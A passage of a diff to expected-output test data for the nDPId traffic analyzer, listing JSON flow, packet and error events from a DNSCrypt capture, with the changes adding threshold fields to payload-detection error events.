AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1255,9 +1137,9 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":222,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400460551,"flow_src_last_pkt_time":946739400460551,"flow_dst_last_pkt_time":946739400460551,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400460551,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":47971,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02486{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_src_last_pkt_time":946739400460551,"flow_dst_last_pkt_time":946739400460551,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739400460551,"pkt":"REREREREZmZmZmZmCABFAAXcPTcgAH4R32cKAAABucF\/9LtjAbsGBL9j\/IoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":222,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400460551,"flow_src_last_pkt_time":946739400460551,"flow_dst_last_pkt_time":946739400460551,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400460551,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":47971,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":549,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460564} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739400460564,"packet_id":549,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460564} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":549,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400460551,"pkt":"REREREREZmZmZmZmCABFAABQPTcAuX4RBDsKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":550,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460566} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739400460566,"packet_id":550,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460566} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":550,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400460551,"pkt":"REREREREZmZmZmZmCABFAABQPTgAuX4RBDoKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00759{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":2,"flow_src_last_pkt_time":946739400460375,"flow_dst_last_pkt_time":946739400518584,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739400518584,"pkt":"ZmZmZmZmRERERERECABFAADQoahAADYRqAK5wX\/0CgAAAQG73pwAvLKe\/I+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} 00759{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":2,"flow_src_last_pkt_time":946739400460415,"flow_dst_last_pkt_time":946739400519484,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739400519484,"pkt":"ZmZmZmZmRERERERECABFAADQoapAADYRqAC5wX\/0CgAAAQG759oAvKli\/I2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} @@ -1276,18 +1158,14 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":226,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522601,"flow_src_last_pkt_time":946739400522601,"flow_dst_last_pkt_time":946739400522601,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522601,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49732,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_src_last_pkt_time":946739400522601,"flow_dst_last_pkt_time":946739400522601,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739400522601,"pkt":"REREREREZmZmZmZmCABFAAIcaQtAAH4RLt4KAAABTUJU6cJEAbsCCGUBspwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":226,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522601,"flow_src_last_pkt_time":946739400522601,"flow_dst_last_pkt_time":946739400522601,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522601,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49732,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":560,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400522616} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739400522616,"packet_id":560,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400522616} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":560,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400522601,"pkt":"REREREREZmZmZmZmCABFAABQaQoAuX4Rb\/IKAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":227,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522616,"flow_src_last_pkt_time":946739400522616,"flow_dst_last_pkt_time":946739400522616,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522616,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":50757,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_src_last_pkt_time":946739400522616,"flow_dst_last_pkt_time":946739400522616,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739400522616,"pkt":"REREREREZmZmZmZmCABFAAXcaQwgAH4RSx0KAAABTUJU6cZFAbsGBGDUspsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":227,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522616,"flow_src_last_pkt_time":946739400522616,"flow_dst_last_pkt_time":946739400522616,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522616,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":50757,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":562,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400522632} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":562,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400522616,"pkt":"REREREREZmZmZmZmCABFAABQaQwAuX4Rb\/AKAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":228,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522705,"flow_src_last_pkt_time":946739400522705,"flow_dst_last_pkt_time":946739400522705,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522705,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":57109,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_src_last_pkt_time":946739400522705,"flow_dst_last_pkt_time":946739400522705,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739400522705,"pkt":"REREREREZmZmZmZmCABFAAXcaQ0gAH4RSxwKAAABTUJU6d8VAbsGBEgCsp0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":228,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400522705,"flow_src_last_pkt_time":946739400522705,"flow_dst_last_pkt_time":946739400522705,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400522705,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":57109,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":564,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400522721} 